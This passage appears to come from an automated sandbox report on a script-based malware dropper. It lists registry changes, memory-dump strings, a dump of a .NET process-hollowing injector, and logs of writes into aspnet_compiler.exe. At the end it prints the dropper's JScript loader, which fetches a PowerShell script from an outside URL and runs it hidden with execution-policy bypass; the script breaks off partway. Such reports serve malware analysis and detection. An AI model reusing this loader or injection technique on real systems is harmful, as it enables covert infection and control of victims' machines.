00000000-00006896.00000003.143769.ECCD0000.00000004.mdmp, 00000000-00006896.00000003.143769.EEFD3000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00006896.00000000.134622.ECA50000.00000004.mdmp, 00000000-00006896.00000001.136542.ECA50000.00000004.mdmp, 00000000-00006896.00000002.138461.ECA50000.00000004.mdmp, 00000000-00006896.00000003.143769.ECA50000.00000004.mdmp")58:Tb16,"WScript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "WScript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "WScript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "WScript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "WScript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "WScript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "WScript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "WScript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS") "WScript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE") "WScript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES") "WScript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS") "WScript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE")59:T802,"WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "DISABLESOCKPOLLCONNFAILURERETURN"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\PARAMETERS"; Key: "TRANSPORTS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP6"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MINSOCKADDRLENGTH"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAXSOCKADDRLENGTH"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "USEDELAYEDACCEPTANCE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MINSOCKADDRLENGTH"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAXSOCKADDRLENGTH"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "USEDELAYEDACCEPTANCE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "")5a:T483,"WScript.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS"; Value: "0100000000") "WScript.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "INTRANETNAME"; Value: "0100000000") "WScript.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "0100000000") "WScript.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "0000000000") "WScript.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE\CONTENT"; Key: "CACHEPREFIX"; Value: "000000") "WScript.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE\COOKIES"; Key: "CACHEPREFIX"; Value: "Cookie:") "WScript.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE\HISTORY"; Key: "CACHEPREFIX"; Value: "Visited:")5b:T24e1,Executable loaded in memory "MZ@ !L!This program cannot be run in DOS mode. $PEL!O!Lnk @ ` kKTj H.texttK L `.sdataP@.rsrcTR@@.relocV@BPkHh.%T0+ (c&-((9& (:K&(M 8;} 8*( 8( 8. E8& :&*B+ (YL&-*B+ (E\B&-*0+ (A&-(9s& 8{(88 E$ 4Z 8( 898& 8{8 9 (:&*+ ('vO&-s }rp( *B+ (ISW&-*B+ (,57&-*b+ (%L&- o *r+ (nN&- ( *r+ (z^&- ( *0+ (4O&- (:z8urp( (:V&~r%p(+~rGp(+~rsp(+ (: 8~rp(+ ~rp(+ 8~rp(+ 8rp( (:8~r p(+ (:o&~r3p(+ 8P~rQp(+(9o& 8&~rkp(+8F E w5rYRr8T& 8( 8*09+ (U:&-( ( ( u8*0+ (QM&- 8W( (}(:d& 8+~ ~ ~ ~ o; 9rps z<(4X( ( 9~{(8~{(9rps z) ~{ X( o39rps z 94~{ ((9r?ps zPX(TX( ~ {( 0@o+~ (9rops z~ { o/ 9rps z XX( !8X("X(#X( $#%%9Y#!&$&#( ~ {("X( &#o/''((9rps z(X!X!!)):T( (~ { X(o/**9rps z(X( ,(X++9~{o#8~{(,,9r-ps z~{o--9rgps z&{..9"{((&//9X 0 (:=888 (:& 86 11E #08& 9&0: 8 8*A4DOV+ (1|^&-(M*B+ (kf&-*B+ ($C&-*f+ (`jg&- ( *v+ (]i&- ( *+ (ʘAD&- o'*f+ (d>&- ( *+ ( B&- o7*v+ (߳b&- (! *f+ (I>&- ( *f+ (/&- (" *+ ( P2&- o#*f+ (hZ&- (# *b+ ('mg&- o$ *0+ (P.&-(E:& 8Ao% :/&~$(A X(Bt/8 E ; ;+Yi 8 i? 88 8u& 8~$ Xo& :{&X 8j(' t(C 8M*j+ (O_T&-(F(G*+ (4Y=&-(F( o( (H$*b+ (gH0&- o) *r+ (0'S&- o* *+ ( ;_&- o+ *B+ (\~6&-*B+ (!B&-*V+ (@zE&-(M*b+ (he?e&- (, *b+ (!]&- o- *j+ (@a&-(M(, *B+ ( _?&-*B+ (Ư$k&-*>+ (d\&-*V+ (n}Q&-(P**b+ (/W R&- (, *BSJBv4.0.30319#~,#Strings#GUlD#USu!#Blopv! #GUID!#BlobW< 5-P.f'V[b[h[p'[0Ib})'[ [[ozz [Z[[[[[[4[>[[[a[r[ [ [ [[)FP'pyUYU]]"]&]*4].O]2i]6]:a>a>U$>U$>]%I-@U%MSU&Qa.Qa.Qa.Qa.Q a.Q*a.QGa.QdO8a8i;w??CCGKOSWA8J8R;^;i;l>w>>;;;;;;;;AA88 88D &:P P7! !74!x"7("#<"#P"'l",",2 &[ J`"lf$s$)f *# (*# <* X*# x*) * * 0*J 7 *i +| = 4+ ) X+ =t+ 'PO U Z2 ePO l s2 PO l s"2 &PO' ) .2 5PO6 8 =2 DPOF H M2 TPOW Y [2 e_PO` b l2 .x+0I{ P7| lf|-}| -|@-|d- #|x-! #|-4 f|-G '|-Z |PO| ~ 2 . f0.P7H.lfL. '3Ya0 > ) < C C ) < C C ) < 0 > O T c 0 > O T c ) < 0 > k p y 0 > k p y ) y < 0 > 0 > ) < 0 > 0 > ) < " . " .) ".< > ) < P)P71PDAPUQPUYPUaPUiPUqPUyPUPxPUPUPUP7P7P77x?U8PU+PU!K!S1hxx] 7! BA HA 7[_iefqlwiq P7m P7.[Z.SZ.K`.c}.{.s.k.CJ.;...#J.;Z.3Z.+Zcs( @NA@&@J&'((F)f*v+,ց-A G [ GN` joty~FILEDCompilationRelaxationsAttributeSystem.Runtime.CompilerServicesmscorlib.ctorVoidSystemInt32BooleanRuntimeCompatibilityAttributeDebuggableAttributeSystem.DiagnosticsDebuggingModesAssemblyTitleAttributeSystem.ReflectionStringAssemblyDescriptionAttributeAssemblyConfigurationAttributeAssemblyCompanyAttributeAssemblyProductAttributeAssemblyCopyrightAttributeAssemblyTrademarkAttributeComVisibleAttributeSystem.Runtime.InteropServicesGuidAttributeAssemblyFileVersionAttributeTargetFrameworkAttributeSystem.Runtime.VersioningSuppressIldasmAttribute28d54495-a572-4d43-8c88-7c179b2864ccFILED.dllPr8Hmb2oZGYCM2OuWXObjectService1ServiceBaseSystem.ServiceProcessWHOREResumeThreadDelegateMulticastDelegateSetThreadContextDelegateGetThreadContextDelegateVirtualAllocExDelegateWriteProcessMemoryDelegateReadProcessMemoryDelegateUnmapViewOfSectionDelegateCreateProcessDelegatePROCESS_INFORMATIONValueTypeSTARTUPINFO{9E1719E8-868A-486C-8E89-A56D1E0D8232}CDCWSn7SaPjUwoq2CcSOj3wtG2Ob7xEudvw7SFU4mbT3GMret7THonfxrUtBVoaXtCT6B0w6acH8IXcwQY4Peh2qpAn{BDA1260F-254C-4403-ABCF-AA330FDB9AAC}__StaticArrayInitTypeSize=256__StaticArrayInitTypeSize=40__StaticArrayInitTypeSize=30__StaticArrayInitTypeSize=32__StaticArrayInitTypeSize=16__StaticArrayInitTypeSize=64__StaticArrayInitTypeSize=18componentsIContainerSystem.ComponentModelOnStartargsOnStopDisposedisposingInitializeComponentContainerqrx0JBQxQ7AjT7Lg8vjXZ9udq7GXatkhbInizrwvLes8DnIW6rjsWoIDisposabless5IZwMx0dqi3w3fKBxA7mo73Epi7gJWIhjZset_ServiceName_hKernel32IntPtr_hNtdll_resumeThread_setThreadContext_wow64SetThreadContext_getThreadContext_wow64GetThreadContext_virtualAllocEx_writeProcessMemory_readProcessMemory_zwUnmapViewOfSection_createProcessALoadLibraryAlpLibFileNamekernel32GetProcAddresshModulelpProcName.cctorGetDelegateTmoduleprocNameTypeGetTypeFromHandleRuntimeTypeHandleMarshalGetDelegateForFunctionPointerDelegateLAUNCHERtargetPathByteshellcodeZeroInvalidOperationExceptionget_SizeExceptionBitConverterToInt32ToInt16Int16BufferBlockCopyArrayop_ExplicitQQfSfS7WBfuKgoo7h5q7oa9pvhPCCu52uOaouNZxIODiIGjhN7FnO2M8cxOG4j6DeihhpfvjSizeOfpke3Drg6aEprMV9KMyg764h5RBhjmobRUf24threadHandleLcCNwYYFQXf4MapBnIvcrYCufwVVFGpWMB9GprocessHandlebaseAddressU7y2YsLOaei1GSk5kJop_EqualityNuFjjOyclGTnoR76nnsgPtEpOovT4W5Sf5naGetBytesyW61UJ6raDBC6GyubmnxLp349n0LdCDVqJptProcessGetProcessByIdnag01oTC4YDUX0qwSxKillobjectmethodInvokeBeginInvokeIAsyncResultAsyncCallbackcallbackEndInvokeresultcontextDatasizeallocationTypeprotectdatadataSizebytesWrittenbufferbufferSizebytesReadapplicationNamecommandLineprocessAttributesthreadAttributesinheritHandlesUInt32creationFlagsenvironmentcurrentDirectorystartupInfoprocessInformationhProcesshThreaddwProcessIddwThreadIdcblpReservedlpDesktoplpTitledwXdwYdwXSizedwYSizedwXCountCharsdwYCountCharsdwFillAttributedwFlagswShowWindowUInt16cbReserved2lpReserved2hStdInputhStdOutputhStdErrorTWp4PNnQcModuleLBKNMnXXGvUCZtypemdtFieldInfoMethodInfoGetFieldsResolveTypeCreateDelegateget_AssemblyAssemblyJ6kFl1rIJj46mVeOFfMemberInfoget_MetadataTokenDcVd0eEcNcBKMiVrdDResolveMethodMethodBaset0PQwNjU6FEyXYtGaFSetValueE5crUGdOyytXsmfWSoowtlqIa4AlLR85VqnLm1VkGAlZpMmpYHHqyiSAFJHTHZW5xDsongoHyAcryRNEssGcTOW6kfget_ManifestModuleoywq4VEynyUpVWNMnXu7PJowWFMqcOFt1DlFFjEm0g$$method0x6000007-1$$method0x6000020-1$$method0x6000020-2$$method0x600002a-1$$method0x600002a-2$$method0x6000039-1$$method0x600005f-1$$method0x600027b-1FILED.g.resourcesaR3nbf8dQp2feLmk31.lSfgApatkdxsVcGcrktoFd.resourcesCompilerGeneratedAttributeService1kernel32!SetThreadContext+Wow64SetThreadContext!GetThreadContext%WriteProcessMemory#ReadProcessMemoryCreateProcessAntdll)ZwUnmapViewOfSectionVirtualAllocExResumeThread+Wow64GetThreadContext1Failed to create process9Failed to get thread context;Failed to read process memory/Failed to unmap section3Failed to allocate memory/Failed to write headers/Failed to write section)Failed to update PEB9Failed to set thread context/Failed to resume thread5[G?OsQz\V4 TWrapNonExceptionThrows FILED Copyright © 2026 )$be2b8057-370b-41d2-ad0f-834717d34b391.0.0.0M.NETFramework,Version=v4.5.1TFrameworkDisplayName.NET Framework 4.5.1?_ :e $(,0 $ ( 0 , uyu9284u 84 84 84 u u u PTX\`dh&9W@mɳ?3Țjjp$lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSetPADPADPlSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSetfSystem.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3ajSystem.CodeDom.MemberAttributes, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089mSystem.Globalization.CultureInfo, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089fSystem.Drawing.Size, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3ảcBjCQ+:2SQ}3Bt9%Pi Af= $this.SnapToGrid&$this.TrayLargeIcon$this.Icon$this.Locked $this.DrawGrid ,progressBar1.Modifiers "$this.Localizabled $this.Languagef $this.GridSize* $this.TrayHeight&progressBar1.Locked@QSystem.Drawing Version=4.0.0.0 Culture=neutral PublicKeyToken=b03f5f7f11d50a3aSystem.Drawing.IconIconDataIconSizeSystem.Drawing.Size System.Drawing.Sizewidthheight ( @AISystem, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.CodeDom.MemberAttributesvalue__`B System.Globalization.CultureInfo m_isReadOnlycompareInfotextInfonumInfodateTimeInfocalendar m_dataItem cultureIDm_namem_useUserOverride System.Globalization.CompareInfoSystem.Globalization.TextInfo%System.Globalization.NumberFormatInfo'System.Globalization.DateTimeFormatInfoSystem.Globalization.Calendar System.Globalization.CompareInfom_name win32LCIDculture m_SortVersion System.Globalization.SortVersion System.Globalization.TextInfom_listSeparatorm_isReadOnly m_cultureNamecustomCultureNamem_nDataItemm_useUserOverride m_win32LangID, %System.Globalization.NumberFormatInfo"numberGroupSizescurrencyGroupSizespercentGroupSizespositiveSignnegativeSignnumberDecimalSeparatornumberGroupSeparatorcurrencyGroupSeparatorcurrencyDecimalSeparatorcurrencySymbolansiCurrencySymbol nanSymbolpositiveInfinitySymbolnegativeInfinitySymbolpercentDecimalSeparatorpercentGroupSeparator percentSymbolperMilleSymbolnativeDigits m_dataItemnumberDecimalDigitscurrencyDecimalDigitscurrencyPositivePatterncurrencyNegativePatternnumberNegativePatternpercentPositivePatternpercentNegativePatternpercentDecimalDigitsdigitSubstitution isReadOnlym_useUserOverride m_isInvariantvalidForParseAsNumbervalidForParseAsCurrency +- . ¤ NaNInfinity -Infinity %‰ 0123456 7!8"9CQSystem.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aSystem.Drawing.SizewidthheightP"jNRSDSonMDFILED.pdbHk^k Pk_CorDllMainmscoree.dll% @xjVp $ν|*ƇGF0FؘiD[\"kqCy!Ib%@@QZ^&Ƕ]/SD!7Ç ZEogL*B9q"am8D꾤K`Kp~('09|eVD")*C#9Y[e}]O~o CN~S5:*ӆHI9@tHHUEx}tJ@]{Jݚyݷ)yA +CQ+J?@_-+u)yA4 +ݚ6DDBRfhn M"v33m M")avX0 0*H 0HX4VS_VERSION_INFO?DVarFileInfo$Translation\StringFileInfo8000004b0Comments"CompanyName4FileDescriptionFILED0FileVersion1.0.0.04 InternalNameFILED.dllHLegalCopyrightCopyright 2026*LegalTrademarks< OriginalFilenameFILED.dll,ProductNameFILED4ProductVersion1.0.0.08Assembly Version1.0.0.0`p;"5c:T17c2,"WScript.exe" wrote 000011C0 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 2432) "WScript.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 2432) "powershell.exe" wrote 000011C0 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" (Handle: 2212) "powershell.exe" wrote 00000008 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" (Handle: 2212) "powershell.exe" wrote 00000004 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" (Handle: 2212) "powershell.exe" wrote 00000200 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" (Handle: 2212) "powershell.exe" wrote 00044800 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" (Handle: 2212) "powershell.exe" wrote 000011C0 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" (Handle: 2344) "powershell.exe" wrote 00000008 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" (Handle: 2344) "powershell.exe" wrote 00000004 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" (Handle: 2344) "powershell.exe" wrote 00000200 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" (Handle: 2344) "powershell.exe" wrote 00044800 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" (Handle: 2344) "powershell.exe" wrote 000011C0 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" (Handle: 2280) "powershell.exe" wrote 00000008 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" (Handle: 2280) "powershell.exe" wrote 00000004 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" (Handle: 2280) "powershell.exe" wrote 00000200 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" (Handle: 2280) "powershell.exe" wrote 00044800 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" (Handle: 2280) "powershell.exe" wrote 000011C0 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" (Handle: 2292) "powershell.exe" wrote 00000008 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" (Handle: 2292) "powershell.exe" wrote 00000004 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" (Handle: 2292) "powershell.exe" wrote 00000200 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" (Handle: 2292) "powershell.exe" wrote 00044800 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" (Handle: 2292) "powershell.exe" wrote 000011C0 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" (Handle: 1220) "powershell.exe" wrote 00000008 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" (Handle: 1220) "powershell.exe" wrote 00000004 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" (Handle: 1220) "powershell.exe" wrote 00000200 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" (Handle: 1220) "powershell.exe" wrote 00044800 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" (Handle: 1220) "powershell.exe" wrote 000011C0 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" (Handle: 1224) "powershell.exe" wrote 00000008 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" (Handle: 1224) "powershell.exe" wrote 00000004 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" (Handle: 1224) "powershell.exe" wrote 00000200 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" (Handle: 1224) "powershell.exe" wrote 00044800 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" (Handle: 1224) "powershell.exe" wrote 000011C0 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" (Handle: 2020) "powershell.exe" wrote 00000008 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" (Handle: 2020) "powershell.exe" wrote 00000004 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" (Handle: 2020) "powershell.exe" wrote 00000200 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" (Handle: 2020) "powershell.exe" wrote 00044800 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" (Handle: 2020) "powershell.exe" wrote 000011C0 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" (Handle: 1712) "powershell.exe" wrote 00000008 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" (Handle: 1712) "powershell.exe" wrote 00000004 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" (Handle: 1712) "powershell.exe" wrote 000011C0 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" (Handle: 1736) "powershell.exe" wrote 00000008 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" (Handle: 1736) "powershell.exe" wrote 00000004 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" (Handle: 1736)5d:T1466,file/memory contains long string with (Indicator: "(function() { 'use strict';// ============================================================ // Configuration Store (encapsulated) // ============================================================ var CONFIG_DEFAULTS = { address: 'https://leisureconnecting.com/build/secured_stub.ps1' directory: 'C:\\Temp\\' maxAttempts: 2 };var configState = (function(initial) { var current = {};for (var k in initial) { if (initial.hasOwnProperty(k)) current[k] = initial[k];} return { get: function(key) { return current[key];} set: function(key, value) { current[key] = value;} all: function() { var copy = {};for (var k in current) { if (current.hasOwnProperty(k)) copy[k] = current[k];} return copy;} restore: function() { current = {};for (var k in CONFIG_DEFAULTS) { if (CONFIG_DEFAULTS.hasOwnProperty(k)) current[k] = CONFIG_DEFAULTS[k];} } };})(CONFIG_DEFAULTS);// ============================================================ // COM Factory \x2014 single point of object creation // ============================================================ var ComFactory = { filesystem: function() { return new ActiveXObject('Scripting.FileSystemObject');} shell: function() { return new ActiveXObject('WScript.Shell');} http: function() { return new ActiveXObject('MSXML2.XMLHTTP');} };// ============================================================ // Filesystem Operations // ============================================================ var FileOps = (function() { var fs = ComFactory.filesystem();function ensureFolder(dirPath) { try { if (!fs.FolderExists(dirPath)) { fs.CreateFolder(dirPath);} return true;} catch (e) { return false;} } function writeText(filePath, content) { var handle = fs.CreateTextFile(filePath, true);handle.Write(content);} function randomScriptName() { var rand = Math.random().toString(36).substring(2, 10);return rand.toUpperCase() + '.ps1';} return { ensureFolder: ensureFolder writeText: writeText randomScriptName: randomScriptName };})();// ============================================================ // Network Retrieval // ============================================================ var Network = (function() { var http = ComFactory.http();function fetchWithRetry(url, retries) { var maxTries = (typeof retries === 'number') ? retries : 2;var result = null;for (var attempt = 0;attempt <= maxTries;attempt++) { try { http.open('GET', url, false);if (http.status === 200) { result = http.responseText;} } catch (e) { if (attempt === maxTries) { result = null;} } } return result;} return { fetchWithRetry: fetchWithRetry };})();// ============================================================ // PowerShell Execution // ============================================================ var Executor = (function() { var sh = ComFactory.shell();function runScript(scriptContent, targetDir) { var fileName = FileOps.randomScriptName();var fullPath = targetDir + fileName;var success = false;try { FileOps.writeText(fullPath, scriptContent);var cmdLine = 'powershell.exe -nop -ep bypass -file "' + fullPath + '"';sh.Run(cmdLine, 0, true);success = true;} catch (e) { success = false;} return success;} return { runScript: runScript };})();// ============================================================ // Pipeline \x2014 declarative step sequence // ============================================================ var Pipeline = (function() { var steps = [];function addStep(name, fn, condition) { steps.push({ name: name, fn: fn, condition: condition });return this;} function execute() { var state = { payload: null };for (var i = 0;i < steps.length;i++) { var step = steps[i];if (step.condition && !step.condition(state)) { return false;} var outcome = step.fn(state);if (outcome === false) { return false;} if (outcome !== undefined) { state.payload = outcome;} } return true;} return { addStep: addStep execute: execute };})();// ============================================================ // Main flow construction // ============================================================ function buildPipeline() { var pipeline = 